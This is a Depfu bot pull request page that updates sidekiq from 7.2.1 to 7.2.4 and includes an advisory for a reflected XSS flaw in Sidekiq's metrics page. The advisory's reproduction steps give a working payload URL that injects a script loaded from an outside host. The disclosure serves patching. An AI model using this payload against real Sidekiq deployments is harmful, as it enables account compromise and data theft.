petakopi.my icon indicating copy to clipboard operation
petakopi.my copied to clipboard

🚨 [security] [ruby] Update sidekiq 7.2.1 → 7.2.4 (patch)

Open depfu[bot] opened this issue 4 months ago • 0 comments


🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ sidekiq (7.2.1 → 7.2.4) · Repo · Changelog

Security Advisories 🚨

🚨 Sidekiq vulnerable to a Reflected XSS in Queues Web Page

Description:

During the source Code Review of the metrics.erb view of the Sidekiq Web UI, A reflected XSS vulnerability is discovered. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application.

This vulnerability can be exploited to target the users of the application, and users of other applications deployed on the same domain or website as that of the Sidekiq website. Successful exploit results may result in compromise of user accounts and user data.

Impact:

The impact of this vulnerability can be severe. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc.

Mitigation:

Encode all output data before rendering it in the response to prevent XSS attacks.

Steps to Reproduce:

  1. Go to the following URL of the sidekiq Web UI:
    https://{host}/sidekiq/metrics?substr=beret%22%3E%3Cscript%20src=%22https://cheemahq.vercel.app/a.js%22%20/%3E
  2. XSS payload will be executed, causing a popup.

Evidence:

image
Figure 1: Source Code Vulnerable to XSS

image
Figure 2: XSS payload triggered

Release Notes

7.2.2 (from changelog)

  • Add Process.warmup call in Ruby 3.3+
  • Batch jobs now skip transactional push [#6160]

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 33 commits:

↗️ rack (indirect, 3.0.9.1 → 3.0.10) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by 2 commits:

↗️ redis-client (indirect, 0.19.1 → 0.22.1) · Repo · Changelog

Release Notes

0.20.0 (from changelog)

  • Accept unix:// schemes as well as simple paths in the url: config parameter. #170.
  • Make basic usage Ractor compatible.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 74 commits:


👉 No CI detected

You don't seem to have any Continuous Integration service set up!

Without a service that will test the Depfu branches and pull requests, we can't inform you if incoming updates actually work with your app. We think that this degrades the service we're trying to provide down to a point where it is more or less meaningless.

This is fine if you just want to give Depfu a quick try. If you want to really let Depfu help you keep your app up-to-date, we recommend setting up a CI system:

* [Circle CI](https://circleci.com), [Semaphore ](https://semaphoreci.com) and [Github Actions](https://docs.github.com/actions) are all excellent options. * If you use something like Jenkins, make sure that you're using the Github integration correctly so that it reports status data back to Github. * If you have already set up a CI for this repository, you might need to check your configuration. Make sure it will run on all new branches. If you don’t want it to run on every branch, you can whitelist branches starting with `depfu/`.

Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

depfu[bot] avatar Apr 27 '24 00:04 depfu[bot]